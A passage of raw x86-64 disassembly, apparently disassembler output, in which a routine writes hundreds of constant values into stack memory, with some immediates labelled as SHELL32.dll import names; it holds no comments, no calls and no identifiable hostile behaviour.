mov byte [rsp + 0x347], 0xa3
mov byte [rsp + 0x348], 0x59
mov dword [rsp + 0x9fb4], 0x2d03
mov dword [rsp + 0x9fb8], 0x6fc1
mov byte [rsp + 0x349], 0xb7
mov eax, 0x785
mov word [rsp + 0x257c], ax
mov byte [rsp + 0x34a], ILIsParent
mov eax, 0x89
mov word [rsp + 0x2580], ax
mov dword [rsp + 0x9fbc], 0x7c2f
mov dword [rsp + 0x9fc0], 0xddc1
mov byte [rsp + 0x34b], 0x3d
mov byte [rsp + 0x34c], 0xdc
mov eax, 0x49f
mov word [rsp + 0x2584], ax
mov eax, 0xbef
mov word [rsp + 0x2588], ax
mov dword [rsp + 0x9fc4], 0x3993
mov dword [rsp + 0x9fc8], 0x7ab4
mov dword [rsp + 0x9fcc], 0x5ebd
mov byte [rsp + 0x34d], 0x48
mov eax, 0xb7e
mov word [rsp + 0x258c], ax
mov dword [rsp + 0x9fd0], 0x30df
mov dword [rsp + 0x9fd4], 0x2721
mov dword [rsp + 0x9fd8], 0xcac0
mov dword [rsp + 0x9fdc], 0x61fd
mov dword [rsp + 0x9fe0], 0xce7f
mov byte [rsp + 0x34e], ILSaveToStream
mov byte [rsp + 0x34f], 0xbb
mov dword [rsp + 0x9fe4], 0x5228
mov dword [rsp + 0x9fe8], 0x2ed
mov dword [rsp + 0x9fec], 0x513d
mov dword [rsp + 0x9ff0], 0x79ee
mov byte [rsp + 0x350], 0x59
mov byte [rsp + 0x351], 0xf3
mov dword [rsp + 0x9ff4], 0x4ad1
mov byte [rsp + 0x352], 0x80
mov byte [rsp + 0x353], 0xaf
mov dword [rsp + 0x9ff8], 0x4f62
mov eax, 0x231
mov word [rsp + 0x2590], ax
mov byte [rsp + 0x354], 0x52
mov dword [rsp + 0x9ffc], 0x4b69
mov eax, 0x925
mov word [rsp + 0x2594], ax
mov dword [rsp + 0xa000], 0xade5
mov byte [rsp + 0x355], 0x91
mov dword [rsp + 0xa004], 0x16b1
mov dword [rsp + 0xa008], 0x26b5
mov dword [rsp + 0xa00c], 0x95a6
mov byte [rsp + 0x356], reloc.SHELL32.dll_ILFindChild
mov dword [rsp + 0xa010], 0x1ad0
mov byte [rsp + 0x357], 0xbb
mov dword [rsp + 0xa014], 0x1d12
mov byte [rsp + 0x358], 0x22
mov dword [rsp + 0xa018], 0x8d7f
mov byte [rsp + 0x359], 0x3c
mov dword [rsp + 0xa01c], 0x6069
mov byte [rsp + 0x35a], 0xc0
mov dword [rsp + 0xa020], 0x4666
mov dword [rsp + 0xa024], 0x3b51
mov dword [rsp + 0xa028], 0xa032
mov dword [rsp + 0xa02c], 0x1692
mov dword [rsp + 0xa030], 0x4097
mov dword [rsp + 0xa034], 0x317b
mov dword [rsp + 0xa038], 0x74a8
mov eax, 0xe29
mov word [rsp + 0x2598], ax
mov dword [rsp + 0xa03c], 0xdc2
mov dword [rsp + 0xa040], 0xf0c3
mov dword [rsp + 0xa044], 0xa49f
mov dword [rsp + 0xa048], 0xaf39
mov byte [rsp + 0x35b], 0x4a
mov dword [rsp + 0xa04c], 0x3a67
mov byte [rsp + 0x35c], 0x75
mov dword [rsp + 0xa050], 0x9335
mov byte [rsp + 0x35d], 0x66
mov byte [rsp + 0x35e], 0xf6
mov dword [rsp + 0xa054], 0x403d
mov byte [rsp + 0x35f], reloc.SHELL32.dll_ILSaveToStream
mov dword [rsp + 0xa058], 0x57f5
mov dword [rsp + 0xa05c], 0x7295
mov eax, 0x9ef
mov word [rsp + 0x259c], ax
mov dword [rsp + 0xa060], 0x41ec
mov eax, 0xe3f
mov word [rsp + 0x25a0], ax
mov dword [rsp + 0xa064], 0x8dd7
mov dword [rsp + 0xa068], 0xe62a
mov eax, 0xdb8
mov word [rsp + 0x25a4], ax
mov dword [rsp + 0xa06c], 0x82b
mov dword [rsp + 0xa070], 0xb09f
mov dword [rsp + 0xa074], 0x115a
mov byte [rsp + 0x360], 0x97
mov dword [rsp + 0xa078], 0x59da
mov eax, 0xbdd
mov word [rsp + 0x25a8], ax
mov eax, 0xbdf
mov word [rsp + 0x25ac], ax
mov dword [rsp + 0xa07c], 0x5739
mov dword [rsp + 0xa080], 0x96a6
mov dword [rsp + 0xa084], 0x29ed
mov dword [rsp + 0xa088], 0x4432
mov byte [rsp + 0x361], reloc.SHELL32.dll_ILIsParent
mov eax, 0xf9a
mov word [rsp + 0x25b0], ax
mov byte [rsp + 0x362], 0x39
mov dword [rsp + 0xa08c], 0x3953
mov dword [rsp + 0xa090], 0xe67
mov dword [rsp + 0xa094], 0x7994
mov dword [rsp + 0xa098], 0xe19
mov dword [rsp + 0xa09c], 0x44e
mov dword [rsp + 0xa0a0], 0x22a4
mov dword [rsp + 0xa0a4], 0x2e3f
mov eax, 0x3d4
mov word [rsp + 0x25b4], ax
mov eax, 0x906
mov word [rsp + 0x25b8], ax
mov eax, 0x12f
mov word [rsp + 0x25bc], ax
mov byte [rsp + 0x363], 0x42
mov eax, 0x9a9
mov word [rsp + 0x25c0], ax
mov dword [rsp + 0xa0a8], 0x4a2b
mov dword [rsp + 0xa0ac], 0x7418
mov eax, 0x261
mov word [rsp + 0x25c4], ax
mov dword [rsp + 0xa0b0], 0x66b3
mov dword [rsp + 0xa0b4], 0x20b9
mov dword [rsp + 0xa0b8], 0x1c30
mov dword [rsp + 0xa0bc], 0x73d8
mov dword [rsp + 0xa0c0], 0x80
mov dword [rsp + 0xa0c4], 0x3b2d
mov eax, 0xa74
mov word [rsp + 0x25c8], ax
mov byte [rsp + 0x364], 0x58
mov dword [rsp + 0xa0c8], 0x46c6
mov eax, 0xf62
mov word [rsp + 0x25cc], ax
mov eax, 0x7c1
mov word [rsp + 0x25d0], ax
mov dword [rsp + 0xa0cc], 0x2a91
mov dword [rsp + 0xa0d0], 0x403a
mov dword [rsp + 0xa0d4], 0x73a8
mov byte [rsp + 0x365], 0xde
mov byte [rsp + 0x366], 0xa7
mov eax, 0x93c
mov word [rsp + 0x25d4], ax
mov dword [rsp + 0xa0d8], 0x1829
mov dword [rsp + 0xa0dc], 0x60f4
mov eax, 0xd25
mov word [rsp + 0x25d8], ax
mov byte [rsp + 0x367], ILFindChild
mov byte [rsp + 0x368], 0xa8
mov dword [rsp + 0xa0e0], 0x542e
mov dword [rsp + 0xa0e4], 0x151a
mov byte [rsp + 0x369], 0x31
mov dword [rsp + 0xa0e8], 0x7b06
mov dword [rsp + 0xa0ec], 0xe9ae
mov eax, 0x1fa
mov word [rsp + 0x25dc], ax
mov byte [rsp + 0x36a], 0x3d
mov dword [rsp + 0xa0f0], 0x29d7
mov dword [rsp + 0xa0f4], 0x3aee
mov byte [rsp + 0x36b], ILFindChild
mov eax, 0xeb
mov word [rsp + 0x25e0], ax
mov eax, 0x319
mov word [rsp + 0x25e4], ax
mov eax, 0x36d
mov word [rsp + 0x25e8], ax
mov dword [rsp + 0xa0f8], 0xa096
mov eax, 0x6a1
mov word [rsp + 0x25ec], ax
mov byte [rsp + 0x36c], 0x51
mov dword [rsp + 0xa0fc], 0x522a
mov dword [rsp + 0xa100], 0x706e
mov eax, 0xa16
mov word [rsp + 0x25f0], ax
mov dword [rsp + 0xa104], 0x5e74
mov byte [rsp + 0x36d], 0xb1
mov dword [rsp + 0xa108], 0x3993
mov dword [rsp + 0xa10c], 0x12e5
mov dword [rsp + 0xa110], 0x8715
mov dword [rsp + 0xa114], 0x1365
mov byte [rsp + 0x36e], 0x30
mov dword [rsp + 0xa118], 0x7f3e
mov eax, 0xae0
mov word [rsp + 0x25f4], ax
mov dword [rsp + 0xa11c], 0x3f9b
mov dword [rsp + 0xa120], 0x3f8d
mov byte [rsp + 0x36f], 0x65
mov eax, 0x5ea
mov word [rsp + 0x25f8], ax
mov dword [rsp + 0xa124], 0xad74
mov eax, 0xa8c
mov word [rsp + 0x25fc], ax
mov eax, 0xfdd
mov word [rsp + 0x2600], ax
mov dword [rsp + 0xa128], 0xa51d
mov dword [rsp + 0xa12c], 0x132a
mov dword [rsp + 0xa130], 0x1f93
mov dword [rsp + 0xa134], 0x4b46
mov byte [rsp + 0x370], reloc.SHELL32.dll_ILIsParent
mov byte [rsp + 0x371], 0x5b
mov byte [rsp + 0x372], 0x6d
mov dword [rsp + 0xa138], 0x7007
mov dword [rsp + 0xa13c], 0x279c
mov byte [rsp + 0x373], 0xd9
mov eax, 0x779
mov word [rsp + 0x2604], ax
mov eax, 0xd4
mov word [rsp + 0x2608], ax
mov eax, 0x4a
mov word [rsp + 0x260c], ax
mov dword [rsp + 0xa140], 0x2985
mov eax, 0x5fe
mov word [rsp + 0x2610], ax
mov dword [rsp + 0xa144], 0x697
mov dword [rsp + 0xa148], 0x5b05
mov byte [rsp + 0x374], 0x79
mov dword [rsp + 0xa14c], 0x9fbf
mov dword [rsp + 0xa150], 0x64d4
mov eax, 0xda0
mov word [rsp + 0x2614], ax
mov dword [rsp + 0xa154], 0x6bd1
mov dword [rsp + 0xa158], 0xef2a
mov dword [rsp + 0xa15c], 0x1372
mov dword [rsp + 0xa160], 0xa39f
mov dword [rsp + 0xa164], 0x85dc
mov byte [rsp + 0x375], 0xf0
mov dword [rsp + 0xa168], 0x5889
mov dword [rsp + 0xa16c], 0x6a5b
mov dword [rsp + 0xa170], 0xc7da
mov byte [rsp + 0x376], 0xf7
mov dword [rsp + 0xa174], 0x317
mov byte [rsp + 0x377], 0x49
mov byte [rsp + 0x378], 0x32
mov dword [rsp + 0xa178], 0x60a0
mov byte [rsp + 0x379], 0x97
mov eax, 0xf09
mov word [rsp + 0x2618], ax
mov eax, 0x5c2
mov word [rsp + 0x261c], ax
mov byte [rsp + 0x37a], 0xd1
mov eax, 0x7fc
mov word [rsp + 0x2620], ax
mov dword [rsp + 0xa17c], 0x7ac1
mov dword [rsp + 0xa180], 0x1cb2
mov dword [rsp + 0xa184], 0x9de1
mov dword [rsp + 0xa188], 0x43be
mov eax, 0xd9d
mov word [rsp + 0x2624], ax
mov dword [rsp + 0xa18c], 0x59c5
mov byte [rsp + 0x37b], 0x72
mov dword [rsp + 0xa190], 0x848
mov dword [rsp + 0xa194], 0x3366
mov dword [rsp + 0xa198], 0x1c1c
mov dword [rsp + 0xa19c], 0x53b7
mov dword [rsp + 0xa1a0], 0x2a8c
mov dword [rsp + 0xa1a4], 0x4cfb
mov dword [rsp + 0xa1a8], 0x4d62
mov dword [rsp + 0xa1ac], 0x241a
mov dword [rsp + 0xa1b0], 0xe23d
mov dword [rsp + 0xa1b4], 0x2b1e
mov byte [rsp + 0x37c], 0x8a
mov dword [rsp + 0xa1b8], 0x743a
mov dword [rsp + 0xa1bc], 0x2009
mov dword [rsp + 0xa1c0], 0x44cd
mov eax, 0x5ca
mov word [rsp + 0x2628], ax
mov dword [rsp + 0xa1c4], 0x6a63
mov byte [rsp + 0x37d], 0x5e
mov byte [rsp + 0x37e], 0x7f
mov byte [rsp + 0x37f], 0xe4
mov dword [rsp + 0xa1c8], 0x606e
mov eax, 0x15b
mov word [rsp + 0x262c], ax
mov dword [rsp + 0xa1cc], 0x65f4
mov dword [rsp + 0xa1d0], 0x5c1f
mov eax, 0xf0f
mov word [rsp + 0x2630], ax
mov eax, 0x11c
mov word [rsp + 0x2634], ax
mov dword [rsp + 0xa1d4], 0x2470
mov dword [rsp + 0xa1d8], 0x4426
mov dword [rsp + 0xa1dc], 0x7812
mov dword [rsp + 0xa1e0], 0xc198
mov byte [rsp + 0x380], 7
mov eax, 0x895
mov word [rsp + 0x2638], ax
mov dword [rsp + 0xa1e4], 0x309d
mov dword [rsp + 0xa1e8], 0x6ade
mov byte [rsp + 0x381], 0xb5
mov byte [rsp + 0x382], 0x51
mov dword [rsp + 0xa1ec], 0x4fba
mov eax, 0x142
mov word [rsp + 0x263c], ax
mov dword [rsp + 0xa1f0], 0x5c68
mov dword [rsp + 0xa1f4], 0x18ad
mov dword [rsp + 0xa1f8], 0x8493
mov dword [rsp + 0xa1fc], 0xf15
mov eax, 0x26
mov word [rsp + 0x2640], ax
mov eax, 0xda0
mov word [rsp + 0x2644], ax
mov dword [rsp + 0xa200], 0x11cc
mov dword [rsp + 0xa204], 0x4481
mov eax, 0xf4b
mov word [rsp + 0x2648], ax
mov dword [rsp + 0xa208], 0x4b05
mov dword [rsp + 0xa20c], 0x76e6
mov dword [rsp + 0xa210], 0x1044
mov dword [rsp + 0xa214], 0x1117
mov eax, 0x84f
mov word [rsp + 0x264c], ax
mov byte [rsp + 0x383], 0x57
mov byte [rsp + 0x384], 0xf
mov byte [rsp + 0x385], 0x72
mov eax, 0x533
mov word [rsp + 0x2650], ax
mov dword [rsp + 0xa218], 0x52ca
mov dword [rsp + 0xa21c], 0x1529
mov dword [rsp + 0xa220], 0xd4bb
mov eax, 0xbaa
mov word [rsp + 0x2654], ax
mov eax, 0x381
mov word [rsp + 0x2658], ax
mov eax, 0x4e4
mov word [rsp + 0x265c], ax
mov byte [rsp + 0x386], 0x69
mov dword [rsp + 0xa224], 0x1c4f
mov dword [rsp + 0xa228], 0x5b88
mov eax, 0x52a
mov word [rsp + 0x2660], ax
mov byte [rsp + 0x387], 0xf2
mov dword [rsp + 0xa22c], 0x3bdc
mov dword [rsp + 0xa230], 0x3f7d
mov dword [rsp + 0xa234], 0x65f0
mov dword [rsp + 0xa238], 0x2e19
mov eax, 0xcfc
mov word [rsp + 0x2664], ax
mov eax, 0x318
mov word [rsp + 0x2668], ax
mov eax, 0xb15
mov word [rsp + 0x266c], ax
mov byte [rsp + 0x388], 0xd8
mov dword [rsp + 0xa23c], 0xded
mov byte [rsp + 0x389], 0x84
mov eax, 0x32c
mov word [rsp + 0x2670], ax
mov dword [rsp + 0xa240], 0x6195
mov byte [rsp + 0x38a], ILFindChild
mov dword [rsp + 0xa244], 0x2123
mov dword [rsp + 0xa248], 0x78c7
mov eax, 0x3fc
mov word [rsp + 0x2674], ax
mov byte [rsp + 0x38b], 0x84
mov byte [rsp + 0x38c], 0x47
mov eax, 0x8c
mov word [rsp + 0x2678], ax
mov eax, 0x135
mov word [rsp + 0x267c], ax
mov dword [rsp + 0xa24c], 0x772d
mov byte [rsp + 0x38d], 0x52
mov eax, 0xfce
mov word [rsp + 0x2680], ax
mov dword [rsp + 0xa250], 0xded
mov byte [rsp + 0x38e], reloc.SHELL32.dll_ILIsParent
mov byte [rsp + 0x38f], 0x5a
mov dword [rsp + 0xa254], 0x26b4
mov dword [rsp + 0xa258], 0x76e3
mov eax, 0xe62
mov word [rsp + 0x2684], ax
mov byte [rsp + 0x390], 0x54
mov dword [rsp + 0xa25c], 0xae27
mov dword [rsp + 0xa260], 0x6a96
mov dword [rsp + 0xa264], 0xcb2f
mov byte [rsp + 0x391], 0x6a
mov byte [rsp + 0x392], 0x4a
mov dword [rsp + 0xa268], 0x200f
mov dword [rsp + 0xa26c], 0x8dbd
mov dword [rsp + 0xa270], 0x75e4
mov eax, 0x8f2
mov word [rsp + 0x2688], ax
mov byte [rsp + 0x393], 0x9c
mov dword [rsp + 0xa274], 0x3f22
mov eax, 0xc7f
mov word [rsp + 0x268c], ax
mov byte [rsp + 0x394], 0xcd
mov byte [rsp + 0x395], 0x31
mov byte [rsp + 0x396], 2
mov byte [rsp + 0x397], 0x28
mov dword [rsp + 0xa278], 0x27ae
mov dword [rsp + 0xa27c], 0xb7a
mov byte [rsp + 0x398], 0x2a
mov eax, 0xb44
mov word [rsp + 0x2690], ax
mov eax, 0x7e
mov word [rsp + 0x2694], ax
mov byte [rsp + 0x399], 0xb2
mov dword [rsp + 0xa280], 0x60d8
mov dword [rsp + 0xa284], 0x450a
mov dword [rsp + 0xa288], 0xc639
mov dword [rsp + 0xa28c], 0x91ee
mov dword [rsp + 0xa290], 0xefe1
mov dword [rsp + 0xa294], 0x896c
mov dword [rsp + 0xa298], 0x4622
mov byte [rsp + 0x39a], 0x1d
mov dword [rsp + 0xa29c], 0xc846
mov byte [rsp + 0x39b], 0xe1
mov dword [rsp + 0xa2a0], 0x90e7
mov dword [rsp + 0xa2a4], 0x75df
mov byte [rsp + 0x39c], 0x56
mov dword [rsp + 0xa2a8], 0x7a7
mov dword [rsp + 0xa2ac], 0x3171
mov dword [rsp + 0xa2b0], 0x64fa
mov byte [rsp + 0x39d], 0x5a
mov byte [rsp + 0x39e], 0x5c
mov dword [rsp + 0xa2b4], 0x318b
mov dword [rsp + 0xa2b8], 0x5516
mov dword [rsp + 0xa2bc], 0x4f11
mov byte [rsp + 0x39f], 0xbd
mov dword [rsp + 0xa2c0], 0x2c4b
mov dword [rsp + 0xa2c4], 0x6ad1
mov dword [rsp + 0xa2c8], 0x1d08
mov eax, 0x61c
mov word [rsp + 0x2698], ax
mov dword [rsp + 0xa2cc], 0xd9e
mov dword [rsp + 0xa2d0], 0x57d9
mov byte [rsp + 0x3a0], 0xe1
mov byte [rsp + 0x3a1], 0xc3
mov dword [rsp + 0xa2d4], 0x87d
mov eax, 0x582
mov word [rsp + 0x269c], ax
mov dword [rsp + 0xa2d8], 0x9510
mov dword [rsp + 0xa2dc], 0x2b67
mov dword [rsp + 0xa2e0], 0x7587
mov dword [rsp + 0xa2e4], 0xe8df
mov dword [rsp + 0xa2e8], 0x90db
mov dword [rsp + 0xa2ec], 0x23e4
mov dword [rsp + 0xa2f0], 0xa1d1
mov dword [rsp + 0xa2f4], 0x561d
mov dword [rsp + 0xa2f8], 0x9f75
mov byte [rsp + 0x3a2], 0x51
mov byte [rsp + 0x3a3], 0xd
mov dword [rsp + 0xa2fc], 0x6010
mov eax, 0xb65
mov word [rsp + 0x26a0], ax
mov dword [rsp + 0xa300], 0x6c56
mov dword [rsp + 0xa304], 0x74d4
mov dword [rsp + 0xa308], 0x4466
mov dword [rsp + 0xa30c], 0xc009
mov dword [rsp + 0xa310], 0x5119
mov dword [rsp + 0xa314], 0xf8a
mov dword [rsp + 0xa318], 0x4204
mov eax, 0x1c
mov word [rsp + 0x26a4], ax
mov byte [rsp + 0x3a4], 0xee
mov dword [rsp + 0xa31c], 0x5a6f
mov dword [rsp + 0xa320], 0x2af3
mov eax, 0xf1c
mov word [rsp + 0x26a8], ax
mov dword [rsp + 0xa324], 0x7cf7
mov byte [rsp + 0x3a5], 0x84
mov dword [rsp + 0xa328], 0x68be
mov dword [rsp + 0xa32c], 0xa037
mov dword [rsp + 0xa330], 0x22a9
mov dword [rsp + 0xa334], 0x6c64
mov byte [rsp + 0x3a6], 0x3d
mov eax, 0x75e
mov word [rsp + 0x26ac], ax
mov dword [rsp + 0xa338], 0x19a
mov dword [rsp + 0xa33c], 0x32aa
mov eax, 0x5c6
mov word [rsp + 0x26b0], ax
mov dword [rsp + 0xa340], 0x8d01
mov dword [rsp + 0xa344], 0x3ed6
mov byte [rsp + 0x3a7], 0x38
mov dword [rsp + 0xa348], 0x4109
mov dword [rsp + 0xa34c], 0x6936
mov byte [rsp + 0x3a8], 0xa8
mov dword [rsp + 0xa350], 0x3b3d
mov dword [rsp + 0xa354], 0x30db
mov byte [rsp + 0x3a9], 0x64
mov eax, 0x712
mov word [rsp + 0x26b4], ax
mov byte [rsp + 0x3aa], 0x33
mov dword [rsp + 0xa358], 0x6046
mov dword [rsp + 0xa35c], 0x7b5b
mov dword [rsp + 0xa360], 0x23a1
mov eax, 0xf92
mov word [rsp + 0x26b8], ax
mov dword [rsp + 0xa364], 0x5da9
mov eax, 0xf49
mov word [rsp + 0x26bc], ax
mov dword [rsp + 0xa368], 0x1033
mov eax, 0x203
mov word [rsp + 0x26c0], ax
mov dword [rsp + 0xa36c], 0xdd3a
mov dword [rsp + 0xa370], 0x5321
mov eax, 0xe06
mov word [rsp + 0x26c4], ax
mov dword [rsp + 0xa374], 0x3590
mov dword [rsp + 0xa378], 0x6a92
mov dword [rsp + 0xa37c], 0x5508
mov dword [rsp + 0xa380], 0x634c
mov dword [rsp + 0xa384], 0x58fb
mov dword [rsp + 0xa388], 0x9adf
mov dword [rsp + 0xa38c], 0x3e91
mov byte [rsp + 0x3ab], 0x7c
mov dword [rsp + 0xa390], 0xa46f
mov eax, 0x57b
mov word [rsp + 0x26c8], ax
mov eax, 0x38f
mov word [rsp + 0x26cc], ax
mov dword [rsp + 0xa394], 0x608a
mov dword [rsp + 0xa398], 0x2c42
mov eax, 0xfc4
mov word [rsp + 0x26d0], ax
mov eax, 0xaf6
mov word [rsp + 0x26d4], ax
mov eax, 0x3f1
mov word [rsp + 0x26d8], ax
mov dword [rsp + 0xa39c], 0xa3fa
mov dword [rsp + 0xa3a0], 0x35e3
mov dword [rsp + 0xa3a4], 0xc51a
mov dword [rsp + 0xa3a8], 0xcd99
mov byte [rsp + 0x3ac], ILFindChild
mov eax, 0xa48
mov word [rsp + 0x26dc], ax
mov dword [rsp + 0xa3ac], 0x7eb2
mov eax, 0x9d9
mov word [rsp + 0x26e0], ax
mov byte [rsp + 0x3ad], 0x57
mov dword [rsp + 0xa3b0], 0x499f
mov byte [rsp + 0x3ae], 0x21
mov byte [rsp + 0x3af], 5
mov dword [rsp + 0xa3b4], 0x6df2
mov byte [rsp + 0x3b0], 0xa6
mov dword [rsp + 0xa3b8], 0x248d
mov eax, 0xb10
mov word [rsp + 0x26e4], ax
mov dword [rsp + 0xa3bc], 0x7ecf
mov byte [rsp + 0x3b1], 0x28
mov dword [rsp + 0xa3c0], 0x3f7a
mov eax, 0x4d
mov word [rsp + 0x26e8], ax
mov byte [rsp + 0x3b2], 0x4c
mov eax, 0xd60
mov word [rsp + 0x26ec], ax
mov dword [rsp + 0xa3c4], 0x33ff
mov byte [rsp + 0x3b3], 0x6f
mov eax, 0xae2
mov word [rsp + 0x26f0], ax
mov byte [rsp + 0x3b4], 4
mov eax, 0x409
mov word [rsp + 0x26f4], ax
mov dword [rsp + 0xa3c8], 0x5f28
mov dword [rsp + 0xa3cc], 0x59c2
mov dword [rsp + 0xa3d0], 0xae6b
mov byte [rsp + 0x3b5], 0xfb
mov byte [rsp + 0x3b6], 0x48
mov dword [rsp + 0xa3d4], 0x6750
mov byte [rsp + 0x3b7], ILFindChild
mov dword [rsp + 0xa3d8], 0xcfb2
mov dword [rsp + 0xa3dc], 0x1e70
mov dword [rsp + 0xa3e0], 0x33e4
mov byte [rsp + 0x3b8], 0x71
mov dword [rsp + 0xa3e4], 0x206
mov dword [rsp + 0xa3e8], 0xf200
mov dword [rsp + 0xa3ec], 0x180a
mov dword [rsp + 0xa3f0], 0x1086
mov dword [rsp + 0xa3f4], 0x3b68
mov dword [rsp + 0xa3f8], 0x353
mov dword [rsp + 0xa3fc], 0x4705
mov byte [rsp + 0x3b9], 0x3c
mov dword [rsp + 0xa400], 0x1c7d
mov dword [rsp + 0xa404], 0x350c
mov dword [rsp + 0xa408], 0x60cd
mov byte [rsp + 0x3ba], 0xdb
mov dword [rsp + 0xa40c], 0xf4a4
mov byte [rsp + 0x3bb], 0
mov eax, 0xa7a
mov word [rsp + 0x26f8], ax
mov dword [rsp + 0xa410], 0x3092
mov byte [rsp + 0x3bc], 0x2e
mov dword [rsp + 0xa414], 0x4cf2
mov dword [rsp + 0xa418], 0x60ee
mov dword [rsp + 0xa41c], 0x1adf
mov dword [rsp + 0xa420], 0x19d7
mov dword [rsp + 0xa424], 0x544e
mov dword [rsp + 0xa428], 0x3659
mov eax, 0x3e4
mov word [rsp + 0x26fc], ax
mov byte [rsp + 0x3bd], 0xe3
mov dword [rsp + 0xa42c], 0x7162
mov byte [rsp + 0x3be], 0x85
mov dword [rsp + 0xa430], 0xef2
mov dword [rsp + 0xa434], 0xc1f5
mov dword [rsp + 0xa438], 0xdbca
mov dword [rsp + 0xa43c], 0x6c4f
mov dword [rsp + 0xa440], 0x4043
mov eax, 0x1ca
mov word [rsp + 0x2700], ax
mov dword [rsp + 0xa444], 0x5072
mov eax, 0xcea
mov word [rsp + 0x2704], ax
mov dword [rsp + 0xa448], 0x1d8d
mov dword [rsp + 0xa44c], 0x7d3d
mov byte [rsp + 0x3bf], 0x94
mov byte [rsp + 0x3c0], 0x27
mov eax, 0x96
mov word [rsp + 0x2708], ax
mov eax, 0x10c
mov word [rsp + 0x270c], ax
mov dword [rsp + 0xa450], 0x884a
mov dword [rsp + 0xa454], 0xcc6
mov eax, 0x8b2
mov word [rsp + 0x2710], ax
mov eax, 0x848
mov word [rsp + 0x2714], ax
mov dword [rsp + 0xa458], 0x135e
mov byte [rsp + 0x3c1], 0x3e
mov dword [rsp + 0xa45c], 0xc028
mov dword [rsp + 0xa460], 0x1b19
mov dword [rsp + 0xa464], 0x25a1
mov dword [rsp + 0xa468], 0x5784
mov dword [rsp + 0xa46c], 0x7961
mov dword [rsp + 0xa470], 0xe637
mov byte [rsp + 0x3c2], 0x5f
mov eax, 0x6ee
mov word [rsp + 0x2718], ax
mov dword [rsp + 0xa474], 0xcb46
mov dword [rsp + 0xa478], 0xaa07
mov dword [rsp + 0xa47c], 0x4003
mov dword [rsp + 0xa480], 0xafd7
mov eax, 0x1c7
mov word [rsp + 0x271c], ax
mov dword [rsp + 0xa484], 0x40ff
mov dword [rsp + 0xa488], 0xfcda
mov byte [rsp + 0x3c3], 0x96
mov byte [rsp + 0x3c4], 0x39
mov eax, 0x55d
mov word [rsp + 0x2720], ax
mov eax, 0x1cf
mov word [rsp + 0x2724], ax
mov dword [rsp + 0xa48c], 0x56dc
mov byte [rsp + 0x3c5], 0x96
mov eax, 0x51a
mov word [rsp + 0x2728], ax
mov dword [rsp + 0xa490], 0x73e4
mov eax, 0x485
mov word [rsp + 0x272c], ax
mov byte [rsp + 0x3c6], 0xcf
mov dword [rsp + 0xa494], 0x1285
mov dword [rsp + 0xa498], 0x7470
mov eax, 0x9f
mov word [rsp + 0x2730], ax
mov dword [rsp + 0xa49c], 0x1a6a
mov eax, 0x43b
mov word [rsp + 0x2734], ax
mov dword [rsp + 0xa4a0], 0x57eb
mov byte [rsp + 0x3c7], 0xc
mov dword [rsp + 0xa4a4], 0xbb0c
mov dword [rsp + 0xa4a8], 0xda23
mov dword [rsp + 0xa4ac], 0xe7b2
mov dword [rsp + 0xa4b0], 0x38df
mov dword [rsp + 0xa4b4], 0x533e
mov dword [rsp + 0xa4b8], 0x666e
mov eax, 0x903
mov word [rsp + 0x2738], ax
mov eax, 0x605
mov word [rsp + 0x273c], ax
mov byte [rsp + 0x3c8], 0x79
mov dword [rsp + 0xa4bc], 0xe81b
mov dword [rsp + 0xa4c0], 0x2cfc
mov eax, 0xbe1
mov word [rsp + 0x2740], ax
mov dword [rsp + 0xa4c4], 0x4ef7
mov byte [rsp + 0x3c9], 0x50
mov dword [rsp + 0xa4c8], 0x7a87
mov dword [rsp + 0xa4cc], 0x4420
mov dword [rsp + 0xa4d0], 0xc1ac
mov eax, 0x764
mov word [rsp + 0x2744], ax
mov dword [rsp + 0xa4d4], 0x9f1e
mov eax, 0xb06
mov word [rsp + 0x2748], ax
mov byte [rsp + 0x3ca], 0x65
mov byte [rsp + 0x3cb], 0x71
mov byte [rsp + 0x3cc], 0xd0
mov eax, 0xdf2
mov word [rsp + 0x274c], ax
mov dword [rsp + 0xa4d8], 0x1788
mov eax, 0xf36
mov word [rsp + 0x2750], ax
mov dword [rsp + 0xa4dc], 0x177e
mov dword [rsp + 0xa4e0], 0x5c8b
mov eax, 0x9ea
mov word [rsp + 0x2754], ax
mov dword [rsp + 0xa4e4], 0x6631
mov eax, 0xff1
mov word [rsp + 0x2758], ax
mov dword [rsp + 0xa4e8], 0x635d
mov eax, 0xf5a
mov word [rsp + 0x275c], ax
mov dword [rsp + 0xa4ec], 0xd2a8
mov dword [rsp + 0xa4f0], 0x1d12
mov byte [rsp + 0x3cd], 0xa0
mov dword [rsp + 0xa4f4], 0x195f
mov dword [rsp + 0xa4f8], 0xf1ad
mov dword [rsp + 0xa4fc], 0x7a19
mov byte [rsp + 0x3ce], 0x36
mov byte [rsp + 0x3cf], 0xcf
mov dword [rsp + 0xa500], 0x636a
mov eax, 0x2e2
mov word [rsp + 0x2760], ax
mov eax, 0x452
mov word [rsp + 0x2764], ax
mov dword [rsp + 0xa504], 0x2620
mov dword [rsp + 0xa508], 0x1a7b
mov dword [rsp + 0xa50c], 0x4679
mov eax, 0x6d7
mov word [rsp + 0x2768], ax
mov byte [rsp + 0x3d0], 0x8d
mov dword [rsp + 0xa510], 0x230b
mov dword [rsp + 0xa514], 0xd42
mov byte [rsp + 0x3d1], 0x20
mov byte [rsp + 0x3d2], 0xac
mov byte [rsp + 0x3d3], 0xac
mov eax, 0x669
mov word [rsp + 0x276c], ax
mov eax, 0x31b
mov word [rsp + 0x2770], ax
mov dword [rsp + 0xa518], 0x44de
mov byte [rsp + 0x3d4], 0x48
mov dword [rsp + 0xa51c], 0x3dc2
mov dword [rsp + 0xa520], 0xba90
mov eax, 0x7d9
mov word [rsp + 0x2774], ax
mov dword [rsp + 0xa524], 0x2330
mov dword [rsp + 0xa528], 0x665e
mov byte [rsp + 0x3d5], 0xeb
mov dword [rsp + 0xa52c], 0x611d
mov byte [rsp + 0x3d6], 0x4a
mov byte [rsp + 0x3d7], 0x7e
mov dword [rsp + 0xa530], 0x53a9
mov dword [rsp + 0xa534], 0x4861
mov dword [rsp + 0xa538], 0x1d8f
mov eax, 0x3fd
mov word [rsp + 0x2778], ax
mov byte [rsp + 0x3d8], 0x65
mov dword [rsp + 0xa53c], 0xd0b3
mov dword [rsp + 0xa540], 0xef14
mov dword [rsp + 0xa544], 0x22d4
mov eax, 0x8cb
mov word [rsp + 0x277c], ax
mov byte [rsp + 0x3d9], 0x96
mov dword [rsp + 0xa548], 0x12ab
mov eax, 0x7b3
mov word [rsp + 0x2780], ax
mov dword [rsp + 0xa54c], 0x7972
mov byte [rsp + 0x3da], 0x79
mov eax, 0x6aa
mov word [rsp + 0x2784], ax
mov eax, 0x5b4
